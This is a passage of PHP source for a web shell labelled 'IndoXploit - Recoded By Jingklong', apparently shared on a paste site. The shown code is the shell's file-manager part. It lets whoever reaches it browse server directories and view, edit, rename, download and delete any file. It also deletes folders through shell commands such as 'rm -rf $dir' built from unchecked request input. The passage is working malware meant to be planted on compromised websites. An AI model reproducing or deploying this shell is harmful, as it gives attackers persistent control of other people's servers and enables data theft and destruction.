  802. $act = "<font color=red>permission denied</font>";
  803. } else {
  804. $act = "<script>window.location='?dir=".$dir."';</script>";
  805. }
  806. }
  807. echo $act;
  808. echo "<form method='post'>
  809. Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
  810. <input type='submit' name='new_save_folder' value='Submit'>
  811. </form>";
  812. } elseif($_GET['act'] == 'rename_dir') {
  813. if($_POST['dir_rename']) {
  814. $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
  815. if($dir_rename) {
  816. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  817. } else {
  818. $act = "<font color=red>permission denied</font>";
  819. }
  820. echo "".$act."<br>";
  821. }
  822. echo "<form method='post'>
  823. <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
  824. <input type='submit' name='dir_rename' value='rename'>
  825. </form>";
  826. } elseif($_GET['act'] == 'delete_dir') {
  827. if(is_dir($dir)) {
  828. if(is_writable($dir)) {
  829. @rmdir($dir);
  830. @exe("rm -rf $dir");
  831. @exe("rmdir /s /q $dir");
  832. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  833. } else {
  834. $act = "<font color=red>could not remove ".basename($dir)."</font>";
  835. }
  836. }
  837. echo $act;
  838. } elseif($_GET['act'] == 'view') {
  839. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  840. echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  841. } elseif($_GET['act'] == 'edit') {
  842. if($_POST['save']) {
  843. $save = file_put_contents($_GET['file'], $_POST['src']);
  844. if($save) {
  845. $act = "<font color=lime>Saved!</font>";
  846. } else {
  847. $act = "<font color=red>permission denied</font>";
  848. }
  849. echo "".$act."<br>";
  850. }
  851. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  852. echo "<form method='post'>
  853. <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  854. <input type='submit' value='Save' name='save' style='width: 500px;'>
  855. </form>";
  856. } elseif($_GET['act'] == 'rename') {
  857. if($_POST['do_rename']) {
  858. $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
  859. if($rename) {
  860. $act = "<script>window.location='?dir=".$dir."';</script>";
  861. } else {
  862. $act = "<font color=red>permission denied</font>";
  863. }
  864. echo "".$act."<br>";
  865. }
  866. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  867. echo "<form method='post'>
  868. <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
  869. <input type='submit' name='do_rename' value='rename'>
  870. </form>";
  871. } elseif($_GET['act'] == 'delete') {
  872. $delete = unlink($_GET['file']);
  873. if($delete) {
  874. $act = "<script>window.location='?dir=".$dir."';</script>";
  875. } else {
  876. $act = "<font color=red>permission denied</font>";
  877. }
  878. echo $act;
  879. } else {
  880. if(is_dir($dir) === true) {
  881. if(!is_readable($dir)) {
  882. echo "<font color=red>can't open directory. ( not readable )</font>";
  883. } else {
  884. echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  885. <tr>
  886. <th class="th_home"><center>Name</center></th>
  887. <th class="th_home"><center>Type</center></th>
  888. <th class="th_home"><center>Size</center></th>
  889. <th class="th_home"><center>Last Modified</center></th>
  890. <th class="th_home"><center>Owner/Group</center></th>
  891. <th class="th_home"><center>Permission</center></th>
  892. <th class="th_home"><center>Action</center></th>
  893. </tr>';
  894. $scandir = scandir($dir);
  895. foreach($scandir as $dirx) {
  896. $dtype = filetype("$dir/$dirx");
  897. $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
  898. if(function_exists('posix_getpwuid')) {
  899. $downer = @posix_getpwuid(fileowner("$dir/$dirx"));
  900. $downer = $downer['name'];
  901. } else {
  902. //$downer = $uid;
  903. $downer = fileowner("$dir/$dirx");
  904. }
  905. if(function_exists('posix_getgrgid')) {
  906. $dgrp = @posix_getgrgid(filegroup("$dir/$dirx"));
  907. $dgrp = $dgrp['name'];
  908. } else {
  909. $dgrp = filegroup("$dir/$dirx");
  910. }
  911. if(!is_dir("$dir/$dirx")) continue;
  912. if($dirx === '..') {
  913. $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
  914. } elseif($dirx === '.') {
  915. $href = "<a href='?dir=$dir'>$dirx</a>";
  916. } else {
  917. $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
  918. }
  919. if($dirx === '.' || $dirx === '..') {
  920. $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
  921. } else {
  922. $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
  923. }
  924. echo "<tr>";
  925. echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
  926. echo "<td class='td_home'><center>$dtype</center></td>";
  927. echo "<td class='td_home'><center>-</center></th></td>";
  928. echo "<td class='td_home'><center>$dtime</center></td>";
  929. echo "<td class='td_home'><center>$downer/$dgrp</center></td>";
  930. echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
  931. echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
  932. echo "</tr>";
  933. }
  934. }
  935. } else {
  936. echo "<font color=red>can't open directory.</font>";
  937. }
  938. foreach($scandir as $file) {
  939. $ftype = filetype("$dir/$file");
  940. $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  941. $size = filesize("$dir/$file")/1024;
  942. $size = round($size,3);
  943. if(function_exists('posix_getpwuid')) {
  944. $fowner = @posix_getpwuid(fileowner("$dir/$file"));
  945. $fowner = $fowner['name'];
  946. } else {
  947. //$downer = $uid;
  948. $fowner = fileowner("$dir/$file");
  949. }
  950. if(function_exists('posix_getgrgid')) {
  951. $fgrp = @posix_getgrgid(filegroup("$dir/$file"));
  952. $fgrp = $fgrp['name'];
  953. } else {
  954. $fgrp = filegroup("$dir/$file");
  955. }
  956. if($size > 1024) {
  957. $size = round($size/1024,2). 'MB';
  958. } else {
  959. $size = $size. 'KB';
  960. }
  961. if(!is_file("$dir/$file")) continue;
  962. echo "<tr>";
  963. echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
  964. echo "<td class='td_home'><center>$ftype</center></td>";
  965. echo "<td class='td_home'><center>$size</center></td>";
  966. echo "<td class='td_home'><center>$ftime</center></td>";
  967. echo "<td class='td_home'><center>$fowner/$fgrp</center></td>";
  968. echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
  969. echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
  970. echo "</tr>";
  971. }
  972. echo "</table>";
  973. if(!is_readable($dir)) {
  974. //
  975. } else {
  976. echo "<hr>";
  977. }
  978. echo "<center>Copyright &copy; ".date("Y")." - <font color=lime>IndoXploit - Recoded By Jingklong</font></center>";
  979. }
  980. ?>
  981. </html>
Add Comment
Please, Sign In to add comment